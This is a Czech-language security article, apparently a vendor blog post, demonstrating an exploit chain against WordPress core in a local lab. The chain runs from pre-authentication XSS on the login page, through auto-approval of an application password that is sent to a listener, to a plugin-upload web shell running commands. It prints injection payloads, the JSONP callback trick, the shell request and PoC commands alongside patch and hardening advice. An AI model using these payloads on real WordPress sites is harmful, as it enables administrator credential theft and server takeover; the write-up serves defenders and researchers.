XSS2Shell: Od nuly k shellu na WordPress

Praktický průvodce pre-autentizačním XSS řetězcem, který může eskalovat až ke vzdálenému spuštění kódu na WordPress Core, demonstrovaný v místním Docker labu.

Pouze autorizované testování.

Vše níže bylo spuštěno proti lokální laboratoři (WordPress 7.0.2 na localhos). Nepoužívejte tyto techniky proti systémům, které nevlastníte nebo k jejichž testování nemáte výslovné oprávnění.

Shrnutí pro vedení

XSS2Shell není jediná chyba — jde o sedmistupňový exploitový řetězec, který začíná jedním znakem (< následovaným mezerou) obcházejícím dva různé HTML parsery na přihlašovací stránce WordPressu a končí spouštěním PHP na serveru jako www-data.

Co jej činí nebezpečným:

  1. Fáze 1 nevyžaduje žádnou autentizaci — kdokoli může spustit JavaScript na wp-login.php.
  2. Chyba se nachází v jádru WordPressu — nikoli v pluginu; prakticky každá podporovaná instalace od roku 2016 je zasažena.
  3. Využívá vlastní kód WordPressu — user-profile.js, REST JSONP, hesla aplikací, nahrávání pluginů — jako gadgety.
  4. Plné RCE je demonstrováno a uznáno WordPressem — přestože vyžaduje přimět přihlášeného administrátora k jednomu kliknutí.

Tento článek provází každou fází s ukázkami z našeho místního labu.

Laboratorní prostředí

git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 na http://localhost:9080
ComponentURLCredentials
Vulnerable WordPresshttp://localhost:9080admin / admin123!
Patched comparisonhttp://localhost:9081(optional)
Attacker listenerhttp://127.0.0.1:9090started by PoC script

WordPress login page — the attack surface
WordPress login page — the attack surface

Každý web WordPress vystavuje /wp-login.php. Tato stránka je vstupním bodem celého řetězce.

Fáze 0: Diferenciál parseru (hlavní příčina)

Pokud přihlášení selže, WordPress zobrazí zadané uživatelské jméno uvnitř chybové zprávy. Uživatelské jméno prochází přes dva sanitizéry, které se neshodují v tom, co je "tag":

LayerFunctionSees < area as…
PHPstrip_tags()Plain text (space after < = not a tag)
WordPress KSESwp_kses_post()Valid HTML element

Payload používá mezeru za<:

< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X

Na zranitelném WordPress 7.0.2 toto přežije sanitizaci a stane se živým DOM:

./scripts/demo-parser-diff.sh http://localhost:9080
Terminal output showing injected HTML elements in the response
Terminal output showing injected HTML elements in the response

Na opravném WordPress 7.0.4 je stejný payload HTML-escapován v chybové zprávě — žádné živé elementy.

Tato chyba existuje od WordPressu 4.7 (2016) a unikla pozornosti při letech bezpečnostních auditů.

Fáze 1: Pre-autentizační XSS (bez nutnosti přihlášení)

Vložené DOM uzly odpovídají selektorům, které vlastní user-profile.js WordPressu hledá na přihlašovací stránce (načteno pro průběh resetování hesla):

  1. .reset-pass-submit .wp-generate-pw je automaticky kliknuto při načtení stránky
  2. Klik se probublá k delegovanému handleru #color-picker
  3. Kontrola stráže user_id === checkuser_id projde, protože obě hodnoty jsou undefined
  4. jQuery provede POST na ajaxurl — ale ajaxurl na přihlašovací stránce neexistuje…

Pokud jej nepřepíšeme:

<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>

Element <area id=ajaxurl> se stane window.ajaxurl. jQuery volá .toString() → vrátí href. WordPress REST vrátí JSONP → jQuery globalEval() → alert()se spustí na origin WordPressu.

Stage 1 demo page
Stage 1 demo page

Odešlete formulář (nebo otevřete demo/stage1-preauth-xss.html a klikněte na Run Stage 1):

Login page after XSS payload — injected markup reflected in error, JS executes
Login page after XSS payload — injected markup reflected in error, JS executes

Dopad pouze v této fázi: phishing přihlašovacích údajů na skutečné doméně, session riding, volání API ze stejného origin — bez jakékoli autentizace.

Fáze 2: Sociální inženýrství — klik administrátora

Fáze 2–7 vyžadují, aby přihlášený administrátor otevřel stránku řízenou útočníkem. Tato překážka udržuje CVSS pod hodnotou 10 — v případě cílených útoků je však tento scénář realistický.

Správce může obdržet: "Vaše relace vypršela — klikněte zde pro opětovné ověření."

Simulated phishing lure page
Simulated phishing lure page

Po kliknutí stránka útočníka:

  1. Otevře podřízené vyskakovací okno (about:blank)
  2. Přesměruje hlavní okno na stránku autorizace hesel aplikací WordPress
  3. Zapíše XSS formulář do podřízeného vyskakovacího okna a automaticky ho odešle na wp-login.php
Admin dashboard — victim is already logged in
Admin dashboard — victim is already logged in

Fáze 3: Spuštění metody stejného původu (SOME) — automatické schválení

XSS payload podřízeného okna změní zpětné volání JSONP z alert na:

window.opener.approve.click

WordPress REST zabalí odpověď:

/**/window.opener.approve.click({...})

Runtime vyřeší window.opener (nadřazené okno) → .approve (tlačítko #approve) → .click(). Tlačítko Schválit heslo aplikace je kliknuto automaticky — bez jakékoli interakce uživatele na dané stránce.

Application Password authorization page — the approve button (id=approve) is the SOME target
Application Password authorization page — the approve button (id=approve) is the SOME target

Všimněte si URL zpětného volání na stránce: přihlašovací údaje budou odeslány na http://127.0.0.1:9090/callback?...&password=[------].

Fáze 4: Zachycení hesla aplikace

WordPress vytvoří nové heslo aplikace a přesměruje na útočníkovu success_url s přihlašovacím údajem v řetězci dotazu:

http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXX

Útočník nyní získal přihlašovací údaje HTTP Basic auth pro WordPress REST API — z relace samotného administrátora, aniž by administrátor po počátečním kliknutí na odkaz cokoliv zadal.

Fáze 5: Publikování stránky řízené útočníkem

Pomocí odcizeného hesla aplikace útočník odešle POST na /wp-json/wp/v2/pages a publikuje stránku s vloženým JavaScriptem. Správci mají oprávnění unfiltered_html — značky skriptu přežijí.

Fáze 6: Nahrání pluginu prostřednictvím relace správce

JavaScript útočníka (spuštěný v prohlížeči správce na publikované stránce):

  1. Načte /wp-admin/plugin-install.php?tab=upload pro nonce nahrávání
  2. Odešle POST se škodlivým ZIP na /wp-admin/update.php?action=upload-plugin
  3. WordPress ho rozbalí do wp-content/plugins/xss2shell/

Plugin není potřeba aktivovat. PHP soubory v adresáři pluginu jsou přímo přístupné přes web.

Fáze 7: Vzdálené spuštění kódu

GET /wp-content/plugins/xss2shell/shell.php?cmd=whoami

Odpověď:

{ "rce": true, "user": "www-data", "output": "www-data\n" }
Shell endpoint returning command output
Shell endpoint returning command output

Útočník nyní spouští libovolné příkazy jako uživatel webového serveru — čte wp-config.php (přihlašovací údaje k databázi), dumpuje databázi, pohybuje se laterálně.

Úplný výstup terminálu PoC:

XSS2Shell PoC completing the chain
XSS2Shell PoC completing the chain

Celý řetězec na první pohled

sequenceDiagram participant A as Útočníkův server participant V as Prohlížeč oběti participant W as WordPress 7.0.2 Note over V,W: Admin je přihlášen V->>A: Otevře phishingový odkaz (1 klik) A->>V: HTML útočníka + podřízené okno V->>W: Hlavní okno → authorize-application.php V->>W: Podřízené okno POSTuje XSS payload na wp-login.php W->>V: JSONP spustí window.opener.approve.click Note over V,W: Tlačítko schválení kliknuto automaticky W->>A: Přesměrování s heslem aplikace A->>W: REST API publikuje stránku (Basic auth) V->>W: Admin navštíví stránku → nahraje ZIP pluginu V->>W: GET shell.php?cmd=whoami W-->>A: www-data

Jak nebezpečné to skutečně je?

Co je zaručeno (vysoká míra jistoty)

PropertyValue
Authentication for XSSNone
Affected installsAll WordPress 4.7+ before patch
Default-config exploitabilityStage 1 works out of the box
User interaction for XSSVictim visits attacker URL

Co vyžaduje další podmínky (cesta k RCE)

ConditionNotes
Logged-in administratorMust have active WP session
Social engineeringAdmin must click attacker link
Application Passwords enabledDefault since WP 5.6; needs HTTPS or local env
Popup not blockedBrowser must allow window.open from user gesture

Kalibrace závažnosti

MetricValueInterpretation
CVSS 4.08.9 HighFull chain impact scored; not Critical because of UI:A
CVSS 3.16.1 MediumOlder scoring undervalues chained impact
EPSS~0.77%Low predicted mass exploitation (Aug 2026)
CISA KEVNot listedNo confirmed in-the-wild mass exploitation yet
Public PoCsMultiple on GitHubExploitation window may shrink

Závěr: Toto není červovatelné RCE bez kliknutí jako Log4Shell. Jde o hluboce technickou zranitelnost na úrovni jádra, která postihuje přibližně 43 % webu, přičemž:

  • Samotná fáze 1 představuje závažný pre-auth XSS útok na přihlašovací stránce
  • Celý řetězec převede jedno kliknutí administrátora na kompromitaci serveru
  • Základní příčina (rozdíl v parserech) se vztahuje na jakoukoli kódovou základnu používající více HTML parserů

WordPress's own advisory states RCE requires "conditions outside of the attacker's control" and "successful social engineering." That is accurate — but the demonstrated chain makes those conditions achievable with a single link.

Lokálně reprodukovat celý řetězec

# 1. Spusťte lab make up # 2. Povolte Application Passwords přes HTTP (pouze lab) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Spusťte PoC listener python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. V prohlížeči: # a. Přihlaste se jako admin na http://localhost:9080/wp-login.php # b. Otevřete http://127.0.0.1:9091/phishing-sim.html # c. Klikněte na "Open attacker page" (povolte vyskakovací okna) # d. Počkejte na výstup terminálu zobrazující shell + whoami

Obrana

PriorityAction
ImmediateUpdate to WordPress 7.0.3 or your branch's patched release (full list)
Verify./scripts/demo-parser-diff.sh should show no injected elements
HardenDisable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins
MonitorWatch for failed-login usernames containing < area patterns
WAFBlock < area / < div patterns on wp-login.php POST bodies

Oprava přidává esc_html() k uživatelskému jménu v cestě chyby přihlášení — zajišťuje, že řetězec je zpracován jako text, nikoli znovu analyzován jako HTML.

Proč je to důležité pro bezpečnostní výzkum

Každý článek řetězce je sám o sobě nezajímavý:

  • Rozdíl parseru → nízká závažnost, rutinní údržba
  • Načten nesprávný skript na přihlašovací stránce → nízká
  • JSONP callback ověřen regexem → střední
  • Heslo aplikace v URL přesměrování → střední
  • Adresář pluginů spouští PHP bez aktivace → známý design

Složeny dohromady mají CVSS 8.9 a poskytují shell.

Poučení: při hodnocení nálezů XSS se ptejte "co je již načteno na této stránce a co udělá, když mu předám správné DOM uzly?" Závažnost je vlastností řetězce, nikoli jednotlivé chyby.

Reference

Zeptejte se AI na CyberTested

Nechte ChatGPT, Gemini, Grok nebo Perplexity sdílet své znalosti. Stačí kliknout na tlačítko a podívat se, co o CyberTested říká vaše oblíbená umělá inteligence.

Vyberte region a jazyk

Region
Jazyk
Chcete vidět, jak CyberTested funguje v praxi?
Zarezervujte si bezplatnou ukázku